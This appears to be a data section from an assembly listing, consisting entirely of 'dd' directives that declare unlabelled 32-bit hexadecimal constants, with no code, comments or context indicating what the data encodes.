dd 643276CCh, 0D807D555h, 5CE27A92h, 4486DB60h, 0BAFB03B6h
dd 418311E6h, 8218F6C8h, 38AF1913h, 0A029D109h, 0C2A22180h
dd 61770065h, 198BE26Ch, 44064FD9h, 27E528DFh, 8D661628h
dd 0DAA44061h, 0E6A305F3h, 0AA00EB74h, 0C34EE549h, 4882C801h
dd 178AC9Bh, 7D26025Bh, 0E0EE47F4h, 0C8180D17h, 8B218FB5h
dd 0EA653A01h, 18122C50h, 21A3E2C8h, 570F032Bh, 40DE2E29h
dd 47E69705h, 0B98AF9EBh, 3D486325h, 0B574B0C0h, 749F3Fh
dd 2B248E5h, 0D5209Ch, 2ACC8F68h, 0E96E520Dh, 0F20688ECh
dd 0F869396Ch, 0E471A0h, 6B7841B1h, 0AD011E24h, 72CB8100h
dd 0EACE6D96h, 97A50038h, 0D7087BF7h, 0D00EE86h, 932120D6h
dd 0C22C78h, 1AB0DF25h, 7C5ECF26h, 9F613800h, 74AC75D9h
dd 0EBD200B7h, 0BD63DA3Dh, 76003301h, 0DF57BBBCh, 0F890CDDDh
dd 0FDE5000Ah, 8BCB1B5Bh, 0D300B451h, 43A4D786h, 97A11Ch
dd 0A2453F0Fh, 0EBFD5B46h, 6276300h, 0E18B71E4h, 0EC5201EEh
dd 26B0660Fh, 4E1AF0BDh, 94E0F528h, 0A503FF73h, 0AB3E69Eh
dd 2AABDB2Bh, 0A45408h, 2EA5D924h, 0AAA753FBh, 8D8EA13h
dd 52D46702h, 0A1BCA025h, 0F9ECE3Fh, 6A2C723Ah, 0EB326780h
dd 0E403C0B7h, 4E7AF3C1h, 203862EAh, 27064FBDh, 5DCA0641h
dd 1124AEB3h, 0F6178028h, 431AF03h, 2621A0E5h, 0A6D06308h
dd 0DB2B006Dh, 0A347F909h, 0D999FA00h, 798CA0E6h, 312E031Ah
dd 6D8E7AE7h, 5DC9680Ah, 164030DAh, 46AFFE2Bh, 61887F29h
dd 2B7B0Eh, 911F50DDh, 0C3F4E28Ah, 0E4634902h, 845DE55Ah
dd 1061DC2Ch, 0B9AFC02Bh, 0A5C0B57h, 0E52B086Fh, 6B44B000h
dd 533466Ah, 0A8EA88E9h, 0B7900004h, 98D426E6h, 0A65071C0h
dd 0BD47B18Ch, 3303E3F0h, 925DF31Fh, 2C4C89Bh, 25D50067h
dd 0D81D5C84h, 7C00B810h, 0EC9606FDh, 1D6A6F22h, 52D42A93h
dd 85A60137h, 607335A6h, 2800F3C6h, 11D0C0D8h, 0F58D91h
dd 9ADD26BBh, 9EEDEB09h, 4D8A6E00h, 0B52181DCh, 7A1C00F3h
dd 9CC3B73h, 8600B68Fh, 0B308D1FBh, 989FD5h, 78E0A9E6h
dd 9A52DB8Bh, 8041453Eh, 363F2050h, 8121Ch, 497D5999h
dd 0D4F404DBh, 0D3D57600h, 8C46336Ah, 0FDD90687h, 18725603h
dd 0F8017DFCh, 25E0FEFh, 0AC30E149h, 0C1940D50h, 0DE20EDAFh
dd 48006FE3h, 1C314175h, 4022448h, 0C8A05645h, 0F8FB83E8h
dd 80DD4DC9h, 9407D240h, 77121664h, 0EBD34015h, 0C5A2DB01h
dd 5A69C440h, 3BE75931h, 181ECB30h, 5EB18084h, 76D6724Eh
dd 0FC152E3Ch, 9103237Eh, 0C251C89Bh, 0BCB81C77h, 6B59F0FBh
dd 30005B5Fh, 9971A642h, 6FAA8A4Eh, 7C4E4081h, 61C1038Ch
dd 0A93B6200h, 0B353506Fh, 515E00DBh, 0DF90D057h, 0D63CE756h
dd 0A20F0602h, 7560D720h, 16250F6Ah, 0D1A17CBCh, 70DA80F5h
dd 980F01DBh, 6017F199h, 75E7F059h, 1411FA72h, 0B071A051h
dd 81025A86h, 6CA2EB18h, 7382219h, 0BC2780C5h, 0D9FC238Ah
dd 24B7D100h, 0C42E7397h, 0B88F00ADh, 917A7FE1h, 0FB0033ACh
dd 0F3050DD0h, 0E6E51D5h, 0E23260C6h, 0ACF792Eh, 4095F587h
dd 29B6A7F2h, 3577FB00h, 15747C86h, 7846F807h, 68E21E3Ah
dd 585E01D1h, 0C8D8CD32h, 15F4050Fh, 750F9574h, 87527B6Ch
dd 0F2C008F5h, 0FECC687h, 38D177F4h, 0C70F001Fh, 0D2935851h
dd 0BD57D8F5h, 553B3C00h, 0C35F60DDh, 0F2F8D3h, 54254C70h
dd 8BA3DCF6h, 4346760Fh, 526E074Fh, 28AEF6h, 744595C5h
dd 80DD6677h, 18D83730h, 0DA0632D6h, 418A0D8h, 4A075F5Bh
dd 6F2E7169h, 0E2E58630h, 2CD8C019h, 135272BBh, 0D1CF8B00h
dd 5B1AB784h, 50DF7FF8h, 60B68CFFh, 0F7583176h, 48015CC0h
dd 8CDAA2F6h, 0A8404DDBh, 3E524684h, 70AA4A2Eh, 48EC1928h
dd 43051936h
dd 991DF4C0h, 6C8C0770h, 39ED100Ch, 60D3ACF1h, 0FD861D00h
dd 0F72C5F65h, 812BA8C8h, 29A140F2h, 2890514Ah, 58F3E489h
dd 0C6BF94Ch, 79517685h, 0F5D014CBh, 0EB9F7C3Eh, 30A21E84h
dd 0B634D589h, 54195D60h, 917938F8h, 179E0610h, 360240D0h
dd 455273B3h, 6488285h, 5F181E28h, 37493CF7h, 0EF8A3070h
dd 495B68C9h, 0E46DEE1Fh, 0F2DE4800h, 0C1E35A7Eh, 993E9A9h
dd 0C7184160h, 8531DC3Ah, 0ED198006h, 19593EA2h, 3959B6F7h
dd 0DCFAE8AFh, 2E862C0Ah, 7080949Ah, 6E3D6D04h, 8810C02Dh
dd 0B35FA94h, 0BFB75705h, 0BC40DC61h, 86936DE5h, 1611C3CDh
dd 40BDD02Dh, 68ED20CCh, 0EC60AE8Dh, 539D6510h, 0D0B460BCh
dd 0FA51E13Fh, 2348C51h, 94AE84DCh, 9F891980h, 8B1B4CF1h
dd 319446Ah, 5B23548h, 6901EE8Ch, 0AC0AF4CAh, 0D201E2DEh
dd 191BDD4h, 0AA26A74Eh, 5EE00EB5h, 84FF559Fh, 0E8DA09C4h
dd 7031603Fh, 22730137h, 3BA28848h, 0B9543205h, 4040BE8Ah
dd 68D0F204h, 3CBAC840h, 38188F3Ch, 0ED3318F6h, 1207F73Eh
dd 64478C76h, 21EC6192h, 8254AA6Ch, 84364338h, 3042DFBCh
dd 0A849CC5Eh, 4F482489h, 7724D9EAh, 1F122CD3h, 70EE0440h
dd 924EDAB6h, 85A92838h, 0D48A210Ch, 0AC28810h, 5A014F39h
dd 84002343h, 0C8F0734Bh, 224914Ch, 0F4540FEBh, 821520F9h
dd 0EE0193C9h, 0F6D6018Bh, 0B6D326CCh, 7A300021h, 7D43C7C9h
dd 0C2029A47h, 4FE0F69Eh, 9FF500B5h, 6E019779h, 0E9465FD9h
dd 5C603EABh, 0D287134Ah, 6BB0066Dh, 5E0E50EAh, 0FC8637F4h
dd 424B424h, 67767540h, 11D760D2h, 4132D553h, 93C35400h
dd 92BA6C06h, 0B40A54E1h, 32BE1E16h, 0E78D4022h, 85215D9Fh
dd 0A81454F8h, 6C00266h, 6F5B7A3h, 60F4A068h, 9719C311h
dd 986C7192h, 49821078h, 0B603FCF8h, 838CF61Bh, 45FC71F0h
dd 0E699CF00h, 0EFD05FC5h, 0B4C20030h, 70E3E18Dh, 0AF3919B9h
dd 148B00BFh, 0D8F0335Eh, 62789F3Fh, 4B32FA00h, 0E29254C4h
dd 34990325h, 0D242CD1Fh, 0F5D515E0h, 27EA3B00h, 9BEE5C21h
dd 58B01635h, 0D352E0A9h, 393D7700h, 98545E0Eh, 0D98B00D2h
dd 0FD48AA3Ch, 0BC004359h, 2CF0DEA7h, 72E1E2Fh, 0C4CE3194h
dd 0F304A09Fh, 0AA0FD9ACh, 5EEFE659h, 0C805B100h, 5ABA76h
dd 2542F8F0h, 4A13B71Ch, 8AA1BE00h, 10682F88h, 70270FCEh
dd 7800FEFCh, 8B5C2A81h, 0C696602Eh, 0E344A200h, 0C1E336Bh
dd 0DC95861Ah, 8530EB30h, 0A9CD082Eh, 0C79F847h, 0D99986D8h
dd 0A0072321h, 26BB6F49h, 0CC3FB180h, 703F4A3h, 0D2EB7159h
dd 2740FCA8h, 0D4CA0501h, 82336C45h, 9322A16Eh, 440F5899h
dd 6588A0ADh, 0C2AEECh, 8CE64B98h, 1F36E5E3h, 49858F30h
dd 7C3898Eh, 3C25140Ch, 0C89460B1h, 1907184Ch, 896F8CDBh
dd 60013F70h, 0CF0F3C68h, 9E51F68Eh, 38048BE0h, 230128FAh
dd 57BAAFF3h, 7EC4D2EFh, 0EA900060h, 6CF17461h, 3400EE58h
dd 0E3F009D1h, 0CBF4C7h, 76C45115h, 7C7282E6h, 5C90E760h
dd 327770h, 4B338D19h, 75EBEC53h, 55E38500h, 0DD616431h
dd 0B8040083h, 40F86530h, 0C700FB7Ch, 0C27749E5h, 0DB4256h
dd 0BF60982Eh, 3B105FBEh, 0B80BA43Dh, 0E50A805Ch, 89B356B2h
dd 1C22751Dh, 7D7F1Bh, 9F07B765h, 83077B10h, 0FEB62B91h
dd 0CA5014F0h, 9010C09Dh, 353F8D79h, 49856900h, 95B8FEDBh
dd 1E980602h, 289A6B4Ah, 0F2B0D700h, 9EF489A5h, 98FE01C9h
dd 160D3179h, 0F199E88Eh, 6A951918h, 92A531h, 0EFCA22D0h
dd 61B7D926h, 0B95FF500h, 0AFBD1415h, 357BC2h, 0F6721C62h
dd 0F9DFA954h, 90B98200h, 6B7E029Eh, 29240178h, 95E63EA4h
dd 99C89137h, 0FC031913h, 0CB2107CEh, 0B84C73D3h, 3D8D3878h
dd 792FFA80h, 37EF25B3h, 107BD903h, 3E95E1BFh, 8F00B841h
dd 948514B4h, 0CD3A1902h, 106B1896h, 0E76320h, 0C7D42F8Fh
dd 43F3535Ah, 69069118h, 632D41h, 82166F85h, 0EC0D9CD6h
dd 3AA06E00h, 0D17EE0D0h, 54D4EE3Dh, 4456AC26h, 0D0A97C27h
dd 2B01CE31h, 0E1CD771Ah, 9201A885h, 73B014B4h, 15BCD700h
dd 4CE6EBCCh, 9F048800h, 23B43A0Eh, 5EE491h, 0FECCF8ACh
dd 8CA62744h, 9D200353h, 60055BC8h, 9803F4B5h, 0D17FD0C1h
dd 0C20BBAFh, 8CB00C95h, 98E817F3h, 0BCE4CB00h, 5DA73724h
dd 0F490319Bh, 9FB2C408h, 80F8CD20h, 0D293BA19h, 14EA2604h
dd 0BCB8AC08h, 8BC3A388h, 0A51BF189h, 5F88BD18h, 448F00E3h
dd 9C706D7h, 66EEBFF2h, 0A1A2FA26h, 800E616h, 97659F0Ch
dd 8A0E0069h, 901A3B9h, 171ED11Dh, 0F042C78Eh, 44EA7B19h
dd 1860F418h, 1194E1D0h, 8570BDF3h, 0DF777303h, 0CAAB5158h
dd 39DE60B8h, 6B96039Eh, 18458275h, 107A300Ah, 0F14064A1h
dd 0F31BBA8Fh, 21C06418h, 6A8FEA55h, 0A454FBFBh, 7424F7C0h
dd 0FAF9092Eh, 80EDE76h, 2211B0Dh, 0E7308DBCh, 372511BCh
dd 211C8CEFh, 0BCBF00DAh, 0CDD6B048h, 5267FFD2h, 0D4A72B18h
dd 874546E0h, 58111D7Ah, 0B3F9CD67h, 0B5A2F821h, 953D9900h
dd 696A2522h, 590E601Bh, 7EEFAA51h, 8FA8D564h, 803AC894h
dd 0C0106A10h, 7582EE69h, 0E7970E9Fh, 0F0292937h, 8BCCF402h
dd 60BC2C84h, 29BB8FEEh, 0C3AC7D1Bh, 200BE65Eh, 83D4691h
dd 498860h, 6099ED48h, 3073F01Ah, 96F1CAF8h, 0F23ADDB5h
dd 0CB607F5h, 8C9E3E4Dh, 30F2161h, 64A8DE8Ch, 6900B207h
dd 0C1EADD16h, 2E6820h, 42A454ECh, 6FC695D8h, 6A318500h
dd 9791BEB1h, 0D01A404Eh, 0A5643CA5h, 0FC8E0A61h, 480F2743h
dd 3F712E5h, 0D0A17586h, 216558Bh, 0E69F84CCh, 0D848FC9Ah
dd 513D225Eh, 2D1D03E5h, 18577FCAh, 209B7508h, 51012841h
dd 0FC74FD87h, 0EFC3C99h, 1141237h, 90383211h, 8BCE830h
dd 62073720h, 7CA0D958h, 758B2CBCh, 6A2B0FADh, 59FFC03Fh
dd 14616FCh, 7047E58h, 0C21EEBC5h, 979F0B32h, 80261134h
dd 960181BBh, 71460092h, 37F0A918h, 0B530FA2Bh, 153628CDh
dd 5D6401F1h, 0E1CF173Ch, 60DADDEDh, 6989565Ch, 347882F6h
dd 7FA89042h, 0F8FA05A4h, 904A2E32h, 7D7B2B68h, 1C0B0ABh
dd 0E5314EDBh, 6507E887h, 0CE6D1980h, 0DEDC6661h, 1900D4E0h
dd 562AF6E0h, 76CF4120h, 407C5807h, 0D7791F30h, 471DC6F4h
dd 50CC7911h, 487A40CFh, 2680D815h, 0A3DE8FC6h, 54012E7Ah
dd 0F061B840h, 0F4FCB4A2h, 109E0AEDh, 82B09466h, 8C72EAF9h
dd 0A580A043h, 0F398A4ECh, 0B62A3118h, 3D7450Ah, 89FF9F50h
dd 14882613h, 0A701B458h, 0B2F40648h, 40839A72h, 8219362Dh
dd 29975800h, 0EDCCFA14h, 70A3123Eh, 0DD882106h, 0B9F8EB03h
dd 77005EF7h, 81C4FD3Ah, 0CB57B18h, 0B09391D3h, 0E513C5D1h
dd 4C0745DCh, 79F048DAh, 0B34F214Eh, 9FCBD084h, 46C3F844h
dd 2021A485h, 84675AF4h, 23653312h, 40E41D18h, 0B986A551h
dd 84D01E1h, 3EF89043h, 73DC4C79h, 23ADBA03h, 99346DECh
dd 8970D594h, 0FF21C075h, 0F659528Dh, 4D5CE800h, 0F8D9E4D7h
dd 3422FB09h, 0A5FE0442h, 0BF52C404h, 98829909h, 9E039F55h
dd 0ACC8A879h, 70F20617h, 281EF882h, 0D0F06301h, 7E15A9CDh
dd 74EA4980h, 0F5CBD217h, 1AED5800h, 0FF2A57D3h, 946D48A9h
dd 7285F0C1h, 0D8097099h, 0A7203F03h, 1DD1F49h, 6B154F70h
dd 0FC46A805h, 0E400ED6Dh, 96BD23D1h, 0B40E09Eh, 0E99F8845h
dd 51258030h, 21E6EE3Fh
dd 0F7A9134h, 80512F40h, 26B43FDCh, 4A4B02FDh, 12196966h
dd 68ED0320h, 0E91B4414h, 0C899E700h, 0E18D7AAh, 4CAB4C25h
dd 42331E09h, 94C22442h, 0D78B1801h, 4A80FCEAh, 4F280664h
dd 0A40724C8h, 8D3D02B8h, 16ABBA30h, 82A99760h, 888EB02Ch
dd 22BCEAC0h, 5DF72137h, 0EB002991h, 46D9BCA2h, 7800BA43h
dd 0C6E4659Fh, 25E7C5EDh, 0F4828E1Eh, 0B8A074F8h, 1D5E2CCDh
dd 5259C405h, 0C1000E14h, 1EE44B03h, 3078606Eh, 0CC86C87Bh
dd 0F1CD6304h, 0CCD6EA72h, 668758B8h, 69F35E01h, 50E1D2C0h
dd 766FEACh, 55E27700h, 34929078h, 9ED200EFh, 7EEAF27Ch
dd 0D31F2C87h, 7B063597h, 7439A2E7h, 1B5C16C5h, 7500667h
dd 460019B3h, 318C4C6Eh, 7BCB83h, 0F6375BFBh, 322E36BDh
dd 4BA18600h, 0CC1C4989h, 3BF0B8F3h, 0E4D268D0h, 9E9CFC00h
dd 4E678E14h, 9519FA13h, 0CB6A5C90h, 5073006Eh, 93FDD47Dh
dd 140077F3h, 0AC78BBBFh, 1865CC36h, 91AE7E75h, 59C11EF1h
dd 1505B026h, 7003DC80h, 2ED49F65h, 7F509607h, 0E303797h
dd 90CEC374h, 8C4E0B64h, 5090F45Ch, 0B0F2DCBCh, 75DF102h
dd 4CEDD375h, 468CB02Ch, 0BCE5018Fh, 5DBF372Bh, 0D088320Ch
dd 0EEBC00BDh, 0D3F11797h, 0A42BA923h, 71F909Fh, 8286C9F0h
dd 8A793EADh, 0A0488E01h, 0F86ACBB4h, 68183D2Bh, 8B591D18h
dd 0F2BF1831h, 0E6D61122h, 8C9CF71Dh, 1EF05C00h, 0B7CB496h
dd 95734A35h, 1669A402h, 301E7481h, 0F11C2524h, 6B87210h
dd 97234B59h, 758E2530h, 61112097h, 0C06BC19Eh, 60211E85h
dd 994051D4h, 49AC6007h, 953FEB0Fh, 96442200h, 248F1DA8h
dd 3677877h, 4C9241FAh, 39004E9Fh, 791A3611h, 6C527Fh
dd 0B9688DD7h, 0A46429D2h, 71FB1900h, 5765C22Dh, 0A8664916h
dd 88675F00h, 0C5F0CA6Ch, 52A3A00h, 0A96BABFCh, 0B48D006Eh
dd 0E7508862h, 0F896F4A7h, 0B826E881h, 0B3E00A4Ch, 0F1374058h
dd 782F1C44h, 28300092h, 9BF9446h, 0D00AF51h, 18225D95h
dd 4BC6416h, 294A362Ch, 699C838Ah, 1E41DCE7h, 8F244D5Ch
dd 7CC11216h, 0F40DFA28h, 0F510EFDDh, 0A7C4B53Dh, 0A9F60019h
dd 34FEDEh, 42F09413h, 4A3729EFh, 0F8ADDF12h, 909E3CCEh
dd 6349C199h, 0D420430Ch, 790E4416h, 0BD2B370Bh, 144423h
dd 0B1D706EDh, 87FD14EFh, 0B9427305h, 0B4C2023Bh, 2BD0259Dh
dd 0FE61106Ch, 15F1C1C0h, 899F0EEh, 0B197A80h, 0FF5C02h
dd 0C7EB60C9h, 88D7CE97h, 0B8BF639h, 9A2EDB1h, 0D6788160h
dd 5857143Eh, 0D1CAEE10h, 55900024h, 1DD2A64Eh, 7C148C98h
dd 4DD0DCBBh, 22B78010h, 0A84F9FABh, 1C632790h, 40CEF288h
dd 0F464C1FCh, 4104F032h, 408E3E52h, 53CE1CBFh, 664420FAh
dd 0B200ADB0h, 0CFA0EF01h, 148200Ah, 9E211A13h, 38D71516h
dd 8CAEB83Ch, 0B501E4Ch, 48502474h, 2570604h, 91CA9D89h
dd 1448A18Dh, 0EC9168D6h, 497BF88Ch, 0C82107F3h, 10B2C305h
dd 0E636252Ch, 4086E500h, 15749782h, 42BB3A79h, 69C4A178h
dd 0B8B04913h, 3DF6D3C1h, 0D8A2A41Dh, 0F25C6C40h, 4C41D658h
dd 0F86F011h, 0B4F08995h, 85031C07h, 3A9F7E7h, 4109D17h
dd 0AE8A9A29h, 0FF9481B2h, 8928C597h, 8787B839h, 338275B8h
dd 8598C88Dh, 627F12FFh, 0B384C099h, 0B88083A8h, 339D26C0h
dd 0A2EA8770h, 66217318h, 0EBF43978h, 0C30BB1Eh, 0ACCB143Bh
dd 0AAC70024h, 19FB6517h, 0DA640AE0h, 4018A083h, 0CE5E4034h
dd 1636F50Ch, 44C195h, 5F7EF764h, 2143D8E5h, 801DB00h
dd 2D05BD17h, 0F8BC0445h, 0C02F52D7h, 7C761B24h, 0CA3EED00h
dd 2B6CC772h, 1766041Ch, 0C379479Bh, 0B811A644h, 0B1027E7Dh
dd 8CB84FBEh, 400D9C84h, 5FC17E02h, 2BF1CB24h, 815EC187h
dd 3C92BF70h, 8C7CE86Ch, 4E2DE209h, 19020CCAh, 71E60E68h
dd 1BA02AFAh, 202223CDh, 1031A001h, 0E5F03616h, 0B237EC40h
dd 0E81F693Ch, 63BAD903h, 827BD00Bh, 0B64C89Dh, 6198F03Eh
dd 89D02813h, 8CDFF0B0h, 0FA50A313h, 0D52BC420h, 0BECF30D3h
dd 9F49C728h, 26D06951h, 5258F02Ch, 450614E7h, 0E04ACD5h
dd 0C895C2FCh, 28CEA98h, 0E6E15126h, 7B182C7Dh, 6C3D809Bh
dd 161C33F2h, 8CC1EFD9h, 460C93F1h, 0C1802AD1h, 0DBAB26CDh
dd 0B2003991h, 1FBB7654h, 647C617h, 0A786502Ah, 0D2248987h
dd 0E5008060h, 6A8102D9h, 7AE3005Ch, 0A5AD9E3Dh, 1A00B2F7h
dd 0D310F834h, 7154FCBFh, 0BDE60035h, 70D29F0h, 8A001101h
dd 3D459380h, 38EE33h, 0BD5DF965h, 0BD5158Fh, 0C01D100h
dd 0F62CCE1Ah, 14270751h, 0EE537A8Ah, 96725C0h, 9F00220Ch
dd 475B013Bh, 1F6CF8CEh, 80BBFB24h, 44BF6D19h, 73715820h
dd 0D20F5100h, 42C4A91Eh, 5B7846h, 0CAA384D1h, 8543AECDh
dd 0F630A400h, 0E29AB29Fh, 0DB2B0A63h, 19C1377h, 0EE2E6D39h
dd 0C40870D4h, 50426E2Eh, 0A39A1407h, 0A87F5C70h, 5D581F31h
dd 0F4D04309h, 0FCE05B0Ch, 44E84604h, 0B820B061h, 0E9F0B501h
dd 6FF7F79h, 3CEC739Ah, 6301407Ch, 3FCC0D5Dh, 83FD72D5h
dd 0DC2FC4h, 0FE914881h, 78B06857h, 555CF100h, 0B47D58D2h
dd 89E700FFh, 39EFF737h, 0F4F830B3h, 0BBD83105h, 4CC74614h
dd 30E8A6h, 0CF20833Eh, 0A554E9FAh, 3146150Eh, 650A7CCCh
dd 0A97020ECh, 9B148CE1h, 807C6AA3h, 0F4CCB5FDh, 2247436Ch
dd 15BC1C41h, 260F80B5h, 4D13CD34h, 9E195400h, 2B814E28h
dd 0C75ADh, 53B7E8F1h, 4052B6A3h, 0F0A78CA8h, 7D48AE60h
dd 0FEB4AC5h, 0DA299407h, 5CF4E9A3h, 0DB3445E0h, 14918863h
dd 0B0C87CB2h, 5B960100h, 0A57A3665h, 18A04192h, 79B31051h
dd 387E606Dh, 0A1BA9EE8h, 0A09040FBh, 0A78114D1h, 1D37CCE0h
dd 1F1A7D57h, 61B418E8h, 87F42648h, 0B8532D01h, 0BB3BC579h
dd 0B1934AD1h, 0C0471E71h, 3266D19Eh, 0F300551Ah, 8588EE02h
dd 0A1F50F19h, 3B18E92Ch, 2D2386F4h, 3D11CBh, 9E1B656Eh
dd 300377D5h, 0A8199F20h, 0D31B5457h, 0C058F890h, 3ACD11h
dd 58E8CF0Ah, 5A987A44h, 21E04530h, 39E53Fh, 22A41436h
dd 6717BCA9h, 5B74B310h, 64320550h, 67CC5860h, 0CF013A70h
dd 2C50D080h, 0E4FC2C22h, 13F4390Eh, 7FB3E334h, 0FA510059h
dd 4267A303h, 12004FA1h, 0BBA50CEh, 1596F616h, 0E4785FFEh
dd 395DB500h, 36BFD1EEh, 0A004CE8h, 7759D9B3h, 0A09F711Fh
dd 30BC2D8h, 8AE9E1A7h, 0B900EF8Dh, 0BF52D473h, 0C0795F0Ch
dd 192A3851h, 23E8E23h, 8D808C0Fh, 9EB1D3h, 87327CD7h
dd 0EA018A39h, 1ED15444h, 8AB599FCh, 11844616h, 3AD08088h
dd 0ACE0CFFDh, 3EE744B0h, 0BB39E800h, 18C6B3DBh, 0A06A48B2h
dd 6008323h, 0B4FB11B5h, 4B44865Ah, 0B5FE1FBFh, 2A9340BAh
dd 0EFED1D78h, 0E50BA8A4h, 303DB4h, 78BD2919h, 0F8230941h
dd 0A803F2D2h, 7499E72Eh, 8F31BE58h, 7D9AA0F1h, 80B2950Fh
dd 4ECD0E59h, 7DA8728Dh, 0B7F0BBh, 3F10A77Bh, 0EA157CDDh
dd 0B8000891h, 0BC3CEF84h, 0F5641EB1h, 0E90877D4h, 0CD95A420h
dd 0A7EE20EFh, 4330DBB0h, 6FEE1882h, 0FAFF0E57h, 5229B0F1h
dd 338EB800h, 0F455E0E7h, 88344E98h, 2B3FC02Eh, 0A8A87B5Ch
dd 9909492Ah, 82F344B0h, 0AF8E54h, 5B576420h, 59248800h
dd 0EA47FDDDh, 9EE10203h, 0E68F9976h, 7BCD0060h, 71BD4000h
dd 8E4FB064h, 0CC3600E7h, 0DE275F23h, 0B4937DF0h, 1E7F178h
dd 0EBBDBBF8h, 24910BB6h
dd 1200A8F8h, 63547867h, 0E3D479B5h, 914049F1h, 48C48E5Bh
dd 86C8F047h, 739F6C0h, 90B056CFh, 3C00F922h, 0F7D43ACEh
dd 53896B9Fh, 90A2E822h, 5C87E030h, 0E1121297h, 32D80074h
dd 6AC7B3D2h, 58288B00h, 2C48DE0h, 9C09154h, 6F059619h
dd 0D1CC4077h, 1CD9C071h, 84AC7000h, 0C21286FBh, 0D8456464h
dd 3ACF60CDh, 8C98E608h, 71FD44h, 0F54A39E7h, 6B7F80Eh
dd 78C45304h, 0D847577Ah, 91F83F8Dh, 38B04EB0h, 8CAD4501h
dd 0F08F78EEh, 21A43831h, 0A60F1FF4h, 0B7B385A4h, 0F640883Eh
dd 0B68D11E9h, 8FB031B2h, 6398833h, 59C821CFh, 1300E691h
dd 0EEAF39E9h, 3A1CE134h, 33AB82Fh, 913C0A5Dh, 0D0294424h
dd 80488C01h, 91BC0AA8h, 9364D04Fh, 0EF899942h, 60087440h
dd 66C59704h, 0B48041D6h, 44CB77Dh, 4298329Eh, 0A204C33Dh
dd 7CDE390Ah, 8B403402h, 21D93DEFh, 0AB916488h, 0EFCC9603h
dd 5B88FE10h, 45F846CBh, 0DD0E8CA8h, 7000A1E6h, 1A92ED4Fh
dd 0FEF0CEAAh, 9C2A4CF7h, 0BDF1B604h, 220280D5h, 3F00C5A2h
dd 0FCE5B36Ch, 4E97B4h, 49629E2Bh, 0EB047405h, 8AAFE200h
dd 0A4FD06F6h, 6B7A1CECh, 0F1868FD6h, 0D2CEDF40h, 0FB011094h
dd 2CDCA28Bh, 34F02DF7h, 6EA70016h, 0F587744Eh, 0E200614Ah
dd 0D7853EBDh, 3AA857E8h, 0D19D39B7h, 3BA9C094h, 3F0D81B6h
dd 87739000h, 0C5E53842h, 0D68A2CA8h, 52270029h, 7B743E2Ch
dd 0FA827F00h, 0B1D1E993h, 44F839h, 1846C729h, 0FE0C7B49h
dd 0F83D3B00h, 309F8175h, 21E90C60h, 0DD80CD99h, 18926403h
dd 0C02E0642h, 11BEBFh, 0F7F5A9F1h, 0CC86911Eh, 0A80CD1B8h
dd 4148F42Dh, 0F18EA26h, 27157BB1h, 9AE04FCFh, 0F9CBB56Bh
dd 0AE8540Fh, 0F16E1AFh, 0A040E9D7h, 0B899DCh, 578A8E5h
dd 0F8E8D6A7h, 965C7310h, 0F96DE606h, 0AB0040B2h, 0C647A4F5h
dd 30AF517Dh, 6A52F3E7h, 2100DABEh, 7E978E06h, 298A1Dh
dd 0B35391F2h, 6D02507Ah, 1BAB5501h, 82CC8185h, 0CFE2C080h
dd 32231128h, 22879100h, 0A24A970Eh, 0A00950D1h, 0A830001Bh
dd 7249534Bh, 0ED00A329h, 0D65D0495h, 77A20Eh, 0B0C1D916h
dd 435B9437h, 0F950D705h, 0C040FD26h, 0BB418615h, 279C0539h
dd 809E1F20h, 21BCD915h, 0D6018CF2h, 32DC922Eh, 0C0508A7Fh
dd 3B6B4BCFh, 71006243h, 0FFB14784h, 9FECCB8Eh, 0A1400416h
dd 0A58B3000h, 233FE4h, 0B8F5BB1h, 0F877DEEh, 0A10070FAh
dd 0C4D74E9h, 0EC33C585h, 44410120h, 5BA38453h, 0D66020E0h
dd 265C4E01h, 3372B9F4h, 0A11162ECh, 4024E6E0h, 0B63500AEh
dd 0A689978Ah, 0D400878Fh, 10F24C36h, 0F6AD110Bh, 7EB20D5Eh
dd 0C4C0D12Bh, 16301809h, 0A48940ECh, 801E0042h, 839E07Eh
dd 4F1F9804h, 80A8DAC7h, 669C2713h, 0EE4B000Fh, 0BCAEE15Dh
dd 52D8E7E9h, 0F9C40089h, 0CAB480F4h, 0B80018D2h, 0F1876ED0h
dd 902E1986h, 2CFF0040h, 0F974B9CFh, 95013082h, 7531D773h
dd 8B00C46Eh, 4617AF08h, 4B005A70h, 0D2A7115Dh, 60634877h
dd 107E5F00h, 14DF38A6h, 5E26201Eh, 61F2E300h, 0E6369270h
dd 87E031Bh, 0E5CDDA15h, 5F6991C8h, 3DFF9900h, 431AC4DBh
dd 9F800E0h, 426C5183h, 2F03B06Bh, 0F3992ECh, 3D407115h
dd 80809D49h, 0E66C9383h, 0D3003D14h, 0B16950EAh, 0A97623h
dd 1C87DECEh, 0F7B3EEECh, 0F1496DF2h, 89FF0140h, 6805A897h
dd 41E0F876h, 0D900BA92h, 9F0B487Ch, 2CA2A5DDh, 24D3B3CCh
dd 530A8EB8h, 555C7540h, 9094CDB4h, 994C7B60h, 0B08327F3h
dd 4F11341Dh, 18C78F80h, 0B5CEF4Ah, 0F94C02F0h, 58A970E9h
dd 74C900FCh, 8CB5DC2Fh, 5700FE90h, 0EB614069h, 168E79h
dd 0F84EF067h, 317F70F4h, 5FF59300h, 3D2DDAAAh, 828D0037h
dd 2F11F3B1h, 20C0E30Bh, 46C60C4Eh, 201353A5h, 60263784h
dd 2CCF89F4h, 1C14B87h, 0DEC50E46h, 0F899E17Fh, 58C08FF8h
dd 0B938B4A8h, 9003F04Ah, 576B3FDCh, 0D4DAC080h, 0F6BD2BBFh
dd 8344EC00h, 0A17237EBh, 0F83C00DCh, 55F58B17h, 880029E2h
dd 2C9B9833h, 0C0A9940Ch, 8B1D8F42h, 0F67F7D61h, 6C994500h
dd 4FD4A04Dh, 9337003Ch, 8ECE3EDDh, 0B362B51Dh, 279A9129h
dd 0C18838E0h, 0AB248841h, 1128FD94h, 0F5114250h, 0AFC7113Dh
dd 7314C928h, 4CD8BA7h, 48B5AA28h, 2C180D5h, 77BBF939h
dd 6B8F8E07h, 57772588h, 0C92F6890h, 0C89B0040h, 5D3CFC09h
dd 8F005219h, 3B03016Ah, 9A8008h, 0EAB69DF5h, 2D2F9258h
dd 0E112851Dh, 807EF61Ch, 4AF15FC6h, 75D7Bh, 0BBEE834h
dd 7E57B8B9h, 0C97FD775h, 2FB19605h, 618013D3h, 345205Ah
dd 0E10C0FE0h, 6CC05D61h, 320EAFE8h, 20B2BA5Fh, 0FFE78AC1h
dd 847D00B6h, 0D63B9952h, 0C5EC13FBh, 8673F700h, 0D7EA687Eh
